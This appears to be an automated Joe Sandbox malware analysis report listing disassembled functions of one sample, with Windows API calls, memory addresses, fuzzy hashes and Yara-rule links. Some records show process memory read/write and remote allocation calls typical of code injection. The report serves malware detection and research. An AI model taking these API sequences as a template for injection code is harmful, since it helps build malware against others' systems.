Part of subcall function 0068F6C9: WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,006CFA64,00000000,00000000,?,?,006E1043,?,753CE610,?,006CFA64), ref: 0068F70D

Memory Dump Source

Source File: 0000000B.00000002.2694679873.0000000000671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00670000, based on PE: true

Associated: 0000000B.00000002.2694624521.0000000000670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.000000000070C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.0000000000732000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695084785.000000000073C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695157017.0000000000744000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_670000_2ada66c192.jbxd

Similarity

API ID: AddressProc$ByteCharLibraryMultiWide$FreeLoad
String ID:
API String ID: 666041331-0
Opcode ID: bdfe5459d1ff0bfbcc30aa5deab52e7f6f7314beb1a635b78fcbebb3ba265514
Instruction ID: 9b4291502f4c9fa178d3d4d71208284d537956e7d2f4d2c61a28920d3bab7f9e
Opcode Fuzzy Hash: bdfe5459d1ff0bfbcc30aa5deab52e7f6f7314beb1a635b78fcbebb3ba265514
Instruction Fuzzy Hash: 00514834605209DFCB15DF58C4849ADBBF2FF49314B08C1A8E90A9B362DB31ED86CB95

Function 00706B76 Relevance: 7.6, APIs: 5, Instructions: 131windowCOMMON

Download Yara Rule

APIs

SetWindowLongW.USER32(00000002,000000F0,?), ref: 00706C33
SetWindowLongW.USER32(?,000000EC,?), ref: 00706C4A
SendMessageW.USER32(00000002,00001036,00000000,?), ref: 00706C73
ShowWindow.USER32(00000002,00000000,00000002,00000002,?,?,?,?,?,?,?,006EAB79,00000000,00000000), ref: 00706C98
SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000000,00000027,00000002,?,00000001,00000002,00000002,?,?,?), ref: 00706CC7

Memory Dump Source

Source File: 0000000B.00000002.2694679873.0000000000671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00670000, based on PE: true

Associated: 0000000B.00000002.2694624521.0000000000670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.000000000070C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.0000000000732000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695084785.000000000073C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695157017.0000000000744000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_670000_2ada66c192.jbxd

Similarity

API ID: Window$Long$MessageSendShow
String ID:
API String ID: 3688381893-0
Opcode ID: 83f1d204c93dcf4e4fc8bbb59bc351b561ec035aacc26d822ed35569f97f36f1
Instruction ID: da1f02c41126808fc14f8207b385c3d361aa3f84185dc72472ee53023e2dc872
Opcode Fuzzy Hash: 83f1d204c93dcf4e4fc8bbb59bc351b561ec035aacc26d822ed35569f97f36f1
Instruction Fuzzy Hash: 0641C175A00104EFE725DF28CC68FAA7BE5EB09350F154368E895A72E0C779BD61CA60

Function 006A2051 Relevance: 7.6, APIs: 5, Instructions: 129COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 006A20C3
_free.LIBCMT ref: 006A20E3

Memory Dump Source

Source File: 0000000B.00000002.2694679873.0000000000671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00670000, based on PE: true

Associated: 0000000B.00000002.2694624521.0000000000670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.000000000070C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.0000000000732000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695084785.000000000073C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695157017.0000000000744000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_670000_2ada66c192.jbxd

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: a1ffe7c38bb6425ffda0414afd659e29e4e2957b0247edbe0b0068d68e986d2e
Instruction ID: 93ed80413e6bf5e2696b2b737e515508600cbfd007d6ba2992475b540e7414eb
Opcode Fuzzy Hash: a1ffe7c38bb6425ffda0414afd659e29e4e2957b0247edbe0b0068d68e986d2e
Instruction Fuzzy Hash: FF41E472A40201AFCB24EF7CC890A9EB7E6EF8A714F1545A9E615EB351D631AD01CB80

Function 006ECF1A Relevance: 7.6, APIs: 5, Instructions: 93networkfileCOMMON

Download Yara Rule

APIs

InternetQueryDataAvailable.WININET(?,?,00000000,00000000,00000000,?,00000000,?,?,?,006EC21E,00000000), ref: 006ECF38
InternetReadFile.WININET(?,00000000,?,?), ref: 006ECF6F
GetLastError.KERNEL32(?,00000000,?,?,?,006EC21E,00000000), ref: 006ECFB4
SetEvent.KERNEL32(?,?,00000000,?,?,?,006EC21E,00000000), ref: 006ECFC8
SetEvent.KERNEL32(?,?,00000000,?,?,?,006EC21E,00000000), ref: 006ECFF2

Memory Dump Source

Source File: 0000000B.00000002.2694679873.0000000000671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00670000, based on PE: true

Associated: 0000000B.00000002.2694624521.0000000000670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.000000000070C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.0000000000732000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695084785.000000000073C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695157017.0000000000744000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_670000_2ada66c192.jbxd

Similarity

API ID: EventInternet$AvailableDataErrorFileLastQueryRead
String ID:
API String ID: 3191363074-0
Opcode ID: 4eef9e4a7a497b426b5fd1f6b70090175d16b0e1024dc8dfae3957a6fd23e634
Instruction ID: 3265a58bf4a8f9609260a05815eb3d3157bb94ca0c633e9a4f753b4f5ed9beec
Opcode Fuzzy Hash: 4eef9e4a7a497b426b5fd1f6b70090175d16b0e1024dc8dfae3957a6fd23e634
Instruction Fuzzy Hash: A1314F71501345EFDB20DFA6C884AABBBFAEF14361B10852EF506D2240DB34AE42DB64

Function 006F0930 Relevance: 7.6, APIs: 5, Instructions: 69COMMON

Download Yara Rule

APIs

IsWindow.USER32(00000000), ref: 006F0951
GetForegroundWindow.USER32 ref: 006F0968
GetDC.USER32(00000000), ref: 006F09A4
GetPixel.GDI32(00000000,?,00000003), ref: 006F09B0
ReleaseDC.USER32(00000000,00000003), ref: 006F09E8

Memory Dump Source

Source File: 0000000B.00000002.2694679873.0000000000671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00670000, based on PE: true

Associated: 0000000B.00000002.2694624521.0000000000670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.000000000070C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.0000000000732000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695084785.000000000073C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695157017.0000000000744000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_670000_2ada66c192.jbxd

Similarity

API ID: Window$ForegroundPixelRelease
String ID:
API String ID: 4156661090-0
Opcode ID: 69a92afe0da436c5b5c8b79fa41ab090ddddb67b4f3d9d70750e6936ea5aefc0
Instruction ID: 32011708739cb50d28127319b5a4cb2855cd2c5f60e8270cd8f6309b23303868
Opcode Fuzzy Hash: 69a92afe0da436c5b5c8b79fa41ab090ddddb67b4f3d9d70750e6936ea5aefc0
Instruction Fuzzy Hash: 62218135600204EFE754EF65C885AAEBBE6EF49700F04C16CF94A9B362DB74AC04CB94

Function 006ACDBD Relevance: 7.6, APIs: 5, Instructions: 68COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 006ACDC6
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 006ACDE9

Part of subcall function 006A3820: RtlAllocateHeap.NTDLL(00000000,?,00741444,?,0068FDF5,?,?,0067A976,00000010,00741440,006713FC,?,006713C6,?,00671129), ref: 006A3852

WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 006ACE0F
_free.LIBCMT ref: 006ACE22
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 006ACE31

Memory Dump Source

Source File: 0000000B.00000002.2694679873.0000000000671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00670000, based on PE: true

Associated: 0000000B.00000002.2694624521.0000000000670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.000000000070C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.0000000000732000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695084785.000000000073C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695157017.0000000000744000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_670000_2ada66c192.jbxd

Similarity

API ID: ByteCharEnvironmentMultiStringsWide$AllocateFreeHeap_free
String ID:
API String ID: 336800556-0
Opcode ID: 0d4b69a073d2e0e7487231c1b6eb0912e17bc8a1526af968b05fb8239de96cb8
Instruction ID: bfb05163912ced6b25cc3abd0863e6571d63691a5c7c40fada9268bcfa4307c7
Opcode Fuzzy Hash: 0d4b69a073d2e0e7487231c1b6eb0912e17bc8a1526af968b05fb8239de96cb8
Instruction Fuzzy Hash: 5B01D8726012157FA72137BA6C48C7BA96EEEC7BB1315426DF905D7301EE648D0289F4

Function 006A2DF8 Relevance: 7.6, APIs: 5, Instructions: 53COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,0069F2DE,006A3863,00741444,?,0068FDF5,?,?,0067A976,00000010,00741440,006713FC,?,006713C6), ref: 006A2DFD
_free.LIBCMT ref: 006A2E32
_free.LIBCMT ref: 006A2E59
SetLastError.KERNEL32(00000000,00671129), ref: 006A2E66
SetLastError.KERNEL32(00000000,00671129), ref: 006A2E6F

Memory Dump Source

Source File: 0000000B.00000002.2694679873.0000000000671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00670000, based on PE: true

Associated: 0000000B.00000002.2694624521.0000000000670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.000000000070C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.0000000000732000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695084785.000000000073C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695157017.0000000000744000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_670000_2ada66c192.jbxd

Similarity

API ID: ErrorLast$_free
String ID:
API String ID: 3170660625-0
Opcode ID: 8293d34577a26bcf7ff785252f0fbad231bd5ed5f54b740b71ea67961f594801
Instruction ID: d36a7fed01397c3c2358aeb3016c633e995b14ada113311d059d0aa065371f94
Opcode Fuzzy Hash: 8293d34577a26bcf7ff785252f0fbad231bd5ed5f54b740b71ea67961f594801
Instruction Fuzzy Hash: 470149322C46026BC613733D2C96D6B265BBBC3771720422CF421E2392EF38CC410D25

Function 006D000E Relevance: 7.5, APIs: 5, Instructions: 47stringCOMMON

Download Yara Rule

APIs

CLSIDFromProgID.OLE32(?,?,?,00000000,?,?,?,-C000001E,00000001,?,006CFF41,80070057,?,?,?,006D035E), ref: 006D002B
ProgIDFromCLSID.OLE32(?,00000000,?,?,?,00000000,?,?,?,-C000001E,00000001,?,006CFF41,80070057,?,?), ref: 006D0046
lstrcmpiW.KERNEL32(?,00000000,?,?,?,00000000,?,?,?,-C000001E,00000001,?,006CFF41,80070057,?,?), ref: 006D0054
CoTaskMemFree.OLE32(00000000,?,00000000,?,?,?,00000000,?,?,?,-C000001E,00000001,?,006CFF41,80070057,?), ref: 006D0064
CLSIDFromString.OLE32(?,?,?,?,?,00000000,?,?,?,-C000001E,00000001,?,006CFF41,80070057,?,?), ref: 006D0070

Memory Dump Source

Source File: 0000000B.00000002.2694679873.0000000000671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00670000, based on PE: true

Associated: 0000000B.00000002.2694624521.0000000000670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.000000000070C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.0000000000732000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695084785.000000000073C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695157017.0000000000744000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_670000_2ada66c192.jbxd

Similarity

API ID: From$Prog$FreeStringTasklstrcmpi
String ID:
API String ID: 3897988419-0
Opcode ID: 0b6bda09415d5670352e7a485a80b97ea55f611c4217ab6bc4a6ecc5fe506de6
Instruction ID: 4e96c80fc3a6c5e96ac05ee8196baa4cdf3badbb929bea343b415846fe9fec11
Opcode Fuzzy Hash: 0b6bda09415d5670352e7a485a80b97ea55f611c4217ab6bc4a6ecc5fe506de6
Instruction Fuzzy Hash: 6901A272A00204FFEB114F68DC04BAA7AEEEF84752F148225F905D6350DBB5DD408BA4

Function 006DE97B Relevance: 7.5, APIs: 5, Instructions: 47sleepCOMMON

Download Yara Rule

APIs

QueryPerformanceCounter.KERNEL32(?), ref: 006DE997
QueryPerformanceFrequency.KERNEL32(?), ref: 006DE9A5
Sleep.KERNEL32(00000000), ref: 006DE9AD
QueryPerformanceCounter.KERNEL32(?), ref: 006DE9B7
Sleep.KERNEL32 ref: 006DE9F3

Memory Dump Source

Source File: 0000000B.00000002.2694679873.0000000000671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00670000, based on PE: true

Associated: 0000000B.00000002.2694624521.0000000000670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.000000000070C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.0000000000732000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695084785.000000000073C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695157017.0000000000744000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_670000_2ada66c192.jbxd

Similarity

API ID: PerformanceQuery$CounterSleep$Frequency
String ID:
API String ID: 2833360925-0
Opcode ID: 24574819aaa9ff204d7e2324cd3e416761820ef1ca20573d58acadcecf453de3
Instruction ID: 576d54e9673b2ff76fb0b8d1e1b931f390cdcc18a5d9ac8edf40f7a53cde23a8
Opcode Fuzzy Hash: 24574819aaa9ff204d7e2324cd3e416761820ef1ca20573d58acadcecf453de3
Instruction Fuzzy Hash: 31016971C0262DDBCF00AFE4DC69AEDBB79FF08300F004656E502BA240CB399551CBA5

Function 006D0FB4 Relevance: 7.5, APIs: 5, Instructions: 43memoryCOMMON

Download Yara Rule

APIs

GetTokenInformation.ADVAPI32(?,00000002,?,00000000,?), ref: 006D0FCA
GetLastError.KERNEL32(?,00000002,?,00000000,?), ref: 006D0FD6
GetProcessHeap.KERNEL32(00000008,?,?,00000002,?,00000000,?), ref: 006D0FE5
HeapAlloc.KERNEL32(00000000,?,00000002,?,00000000,?), ref: 006D0FEC
GetTokenInformation.ADVAPI32(?,00000002,00000000,?,?,?,00000002,?,00000000,?), ref: 006D1002

Memory Dump Source

Source File: 0000000B.00000002.2694679873.0000000000671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00670000, based on PE: true

Associated: 0000000B.00000002.2694624521.0000000000670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.000000000070C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.0000000000732000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695084785.000000000073C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695157017.0000000000744000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_670000_2ada66c192.jbxd

Similarity

API ID: HeapInformationToken$AllocErrorLastProcess
String ID:
API String ID: 44706859-0
Opcode ID: df0156e98fd5d1acd170b656df16914eb8c76faedd775361c81afdea70675c02
Instruction ID: b4c4900f2e05f53a8cfedb713f31a5e681e6dba65859393bf1f0bcd353e0696b
Opcode Fuzzy Hash: df0156e98fd5d1acd170b656df16914eb8c76faedd775361c81afdea70675c02
Instruction Fuzzy Hash: 83F04F75600305FBD7225FA59C49F963B6EEF8A761F108615F945CA351CE74DC408A60

Function 006E030F Relevance: 7.5, APIs: 6, Instructions: 41COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(?,?,?,?,006E017D,?,006E32FC,?,00000001,006B2592,?), ref: 006E0324
CloseHandle.KERNEL32(?,?,?,?,006E017D,?,006E32FC,?,00000001,006B2592,?), ref: 006E0331
CloseHandle.KERNEL32(?,?,?,?,006E017D,?,006E32FC,?,00000001,006B2592,?), ref: 006E033E
CloseHandle.KERNEL32(?,?,?,?,006E017D,?,006E32FC,?,00000001,006B2592,?), ref: 006E034B
CloseHandle.KERNEL32(?,?,?,?,006E017D,?,006E32FC,?,00000001,006B2592,?), ref: 006E0358
CloseHandle.KERNEL32(?,?,?,?,006E017D,?,006E32FC,?,00000001,006B2592,?), ref: 006E0365

Memory Dump Source

Source File: 0000000B.00000002.2694679873.0000000000671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00670000, based on PE: true

Associated: 0000000B.00000002.2694624521.0000000000670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.000000000070C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.0000000000732000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695084785.000000000073C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695157017.0000000000744000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_670000_2ada66c192.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: 6c758d888037d8d62c7e11ae46fe9c98a988773696d582e0c52b103fb5343bca
Instruction ID: 1f826990833473cb5200e738e868ac3a560131eb1ca2ba254feffe262f751a37
Opcode Fuzzy Hash: 6c758d888037d8d62c7e11ae46fe9c98a988773696d582e0c52b103fb5343bca
Instruction Fuzzy Hash: C201E272801B42DFD7309F66D880442F7F6BF503053158A3FD19252A30C3B1A984CF80

Function 006A22A0 Relevance: 7.5, APIs: 5, Instructions: 30COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 006A22BE

Part of subcall function 006A29C8: RtlFreeHeap.NTDLL(00000000,00000000,?,006AD7D1,00000000,00000000,00000000,00000000,?,006AD7F8,00000000,00000007,00000000,?,006ADBF5,00000000), ref: 006A29DE
Part of subcall function 006A29C8: GetLastError.KERNEL32(00000000,?,006AD7D1,00000000,00000000,00000000,00000000,?,006AD7F8,00000000,00000007,00000000,?,006ADBF5,00000000,00000000), ref: 006A29F0

_free.LIBCMT ref: 006A22D0
_free.LIBCMT ref: 006A22E3
_free.LIBCMT ref: 006A22F4
_free.LIBCMT ref: 006A2305

Memory Dump Source

Source File: 0000000B.00000002.2694679873.0000000000671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00670000, based on PE: true

Associated: 0000000B.00000002.2694624521.0000000000670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.000000000070C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.0000000000732000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695084785.000000000073C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695157017.0000000000744000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_670000_2ada66c192.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 965316b21283f1acdf0ddb5de9ce23b8aef36569cba1cbbaf40ee475e6dfef75
Instruction ID: 3bc8ab9b5c6089a8eda4d2dde1eaa5205dc12e00835b55c6789424a9052c4578
Opcode Fuzzy Hash: 965316b21283f1acdf0ddb5de9ce23b8aef36569cba1cbbaf40ee475e6dfef75
Instruction Fuzzy Hash: 08F030785802118F8793BF69BC118493B66B71BF51740851BF510D2271C73C2D51AFED

Function 006A0F47 Relevance: 7.4, APIs: 2, Strings: 2, Instructions: 389COMMONLIBRARYCODE

Download Yara Rule

APIs

__freea.LIBCMT ref: 006A10F9
__freea.LIBCMT ref: 006A1117

Part of subcall function 006A1537: _free.LIBCMT ref: 006A154F

Strings

a/p, xrefs: 006A11DE
am/pm, xrefs: 006A117A

Memory Dump Source

Source File: 0000000B.00000002.2694679873.0000000000671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00670000, based on PE: true

Associated: 0000000B.00000002.2694624521.0000000000670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.000000000070C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.0000000000732000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695084785.000000000073C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695157017.0000000000744000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_670000_2ada66c192.jbxd

Similarity

API ID: __freea$_free
String ID: a/p$am/pm
API String ID: 3432400110-3206640213
Opcode ID: 1b52a83e9b4fdd0bbc174c13733de805687d19653f7e45a70d7ed2574e3a9af2
Instruction ID: 3ec76fce13a6bb5fa215643f342dc915cb2e49df7eeeb530cfadabe563ad1e71
Opcode Fuzzy Hash: 1b52a83e9b4fdd0bbc174c13733de805687d19653f7e45a70d7ed2574e3a9af2
Instruction Fuzzy Hash: 5CD1EE31900206DADF28AF68C855BFAB7B7EF07310F28415AE901AF751D6359E81CFA5

Function 006F61D0 Relevance: 7.3, APIs: 1, Strings: 3, Instructions: 324COMMON

Download Yara Rule

APIs

Part of subcall function 00690242: EnterCriticalSection.KERNEL32(0074070C,00741884,?,?,0068198B,00742518,?,?,?,006712F9,00000000), ref: 0069024D
Part of subcall function 00690242: LeaveCriticalSection.KERNEL32(0074070C,?,0068198B,00742518,?,?,?,006712F9,00000000), ref: 0069028A

Part of subcall function 006900A3: __onexit.LIBCMT ref: 006900A9

__Init_thread_footer.LIBCMT ref: 006F6238

Part of subcall function 006901F8: EnterCriticalSection.KERNEL32(0074070C,?,?,00688747,00742514), ref: 00690202
Part of subcall function 006901F8: LeaveCriticalSection.KERNEL32(0074070C,?,00688747,00742514), ref: 00690235

Part of subcall function 006E359C: LoadStringW.USER32(00000066,?,00000FFF,00000000), ref: 006E35E4
Part of subcall function 006E359C: LoadStringW.USER32(00742390,?,00000FFF,?), ref: 006E360A

Strings

x#t, xrefs: 006F633A
x#t, xrefs: 006F636F
x#t, xrefs: 006F6353

Memory Dump Source

Source File: 0000000B.00000002.2694679873.0000000000671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00670000, based on PE: true

Associated: 0000000B.00000002.2694624521.0000000000670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.000000000070C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.0000000000732000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695084785.000000000073C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695157017.0000000000744000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_670000_2ada66c192.jbxd

Similarity

API ID: CriticalSection$EnterLeaveLoadString$Init_thread_footer__onexit
String ID: x#t$x#t$x#t
API String ID: 1072379062-2514561250
Opcode ID: 5eb0abe5c13051675f70923b0fecfd0bc4ba84250a82c9490b4ad68fb0dbb60e
Instruction ID: e04777438adb1b0f6af3bfe26cda23d9a4cd4cd14eee40992926063168454843
Opcode Fuzzy Hash: 5eb0abe5c13051675f70923b0fecfd0bc4ba84250a82c9490b4ad68fb0dbb60e
Instruction Fuzzy Hash: 1DC16D71A00109AFDB14EF98C891DBEB7BAEF49300F148169FA15AB291DB70ED45CB94

Function 006A8A61 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 124COMMONLIBRARYCODE

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,00000002,00000000,?,?,?,00000000,?,?,?,?), ref: 006A8B6E
GetLastError.KERNEL32(?,?,00000000,?,?,?,?,?,?,?,?,00000000,00001000,?), ref: 006A8B7A
__dosmaperr.LIBCMT ref: 006A8B81

Strings

.i, xrefs: 006A8A63

Memory Dump Source

Source File: 0000000B.00000002.2694679873.0000000000671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00670000, based on PE: true

Associated: 0000000B.00000002.2694624521.0000000000670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.000000000070C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.0000000000732000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695084785.000000000073C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695157017.0000000000744000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_670000_2ada66c192.jbxd

Similarity

API ID: ByteCharErrorLastMultiWide__dosmaperr
String ID: .i
API String ID: 2434981716-2647164722
Opcode ID: a386653e51266ebcd5670687cb90bf86fc04500dfd7cd1b3c70f9faeb1a1a7e2
Instruction ID: 5353e6a9359748ff0b057722ab8543cfea4630a87829eef504b5a5398fef7f34
Opcode Fuzzy Hash: a386653e51266ebcd5670687cb90bf86fc04500dfd7cd1b3c70f9faeb1a1a7e2
Instruction Fuzzy Hash: D54160B0604145AFDB25AF54C880ABD7FE7DB87304B2881AAF98587652DE35CC028FA4

Function 006D2716 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 121windowCOMMON

Download Yara Rule

APIs

Part of subcall function 006DB403: WriteProcessMemory.KERNEL32(?,?,?,00000000,00000000,00000000,?,006D21D0,?,?,00000034,00000800,?,00000034), ref: 006DB42D

SendMessageW.USER32(?,00001104,00000000,00000000), ref: 006D2760

Part of subcall function 006DB3CE: ReadProcessMemory.KERNEL32(?,?,?,00000000,00000000,00000000,?,006D21FF,?,?,00000800,?,00001073,00000000,?,?), ref: 006DB3F8

Part of subcall function 006DB32A: GetWindowThreadProcessId.USER32(?,?), ref: 006DB355
Part of subcall function 006DB32A: OpenProcess.KERNEL32(00000438,00000000,?,?,?,006D2194,00000034,?,?,00001004,00000000,00000000), ref: 006DB365
Part of subcall function 006DB32A: VirtualAllocEx.KERNEL32(00000000,00000000,?,00001000,00000004,?,?,006D2194,00000034,?,?,00001004,00000000,00000000), ref: 006DB37B

SendMessageW.USER32(?,00001111,00000000,00000000), ref: 006D27CD
SendMessageW.USER32(?,00001111,00000000,00000000), ref: 006D281A

Strings

@, xrefs: 006D2832

Memory Dump Source

Source File: 0000000B.00000002.2694679873.0000000000671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00670000, based on PE: true

Associated: 0000000B.00000002.2694624521.0000000000670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.000000000070C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.0000000000732000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695084785.000000000073C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695157017.0000000000744000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_670000_2ada66c192.jbxd

Similarity

API ID: Process$MessageSend$Memory$AllocOpenReadThreadVirtualWindowWrite
String ID: @
API String ID: 4150878124-2766056989
Opcode ID: 9d0968765f3cdbb2a872a0bd396bf803fb5d3775ee298d25faaa6cb602158978
Instruction ID: d37992d2b03a2f28155a0d984b076cd900de0fdae46f2b822658bdae49946043
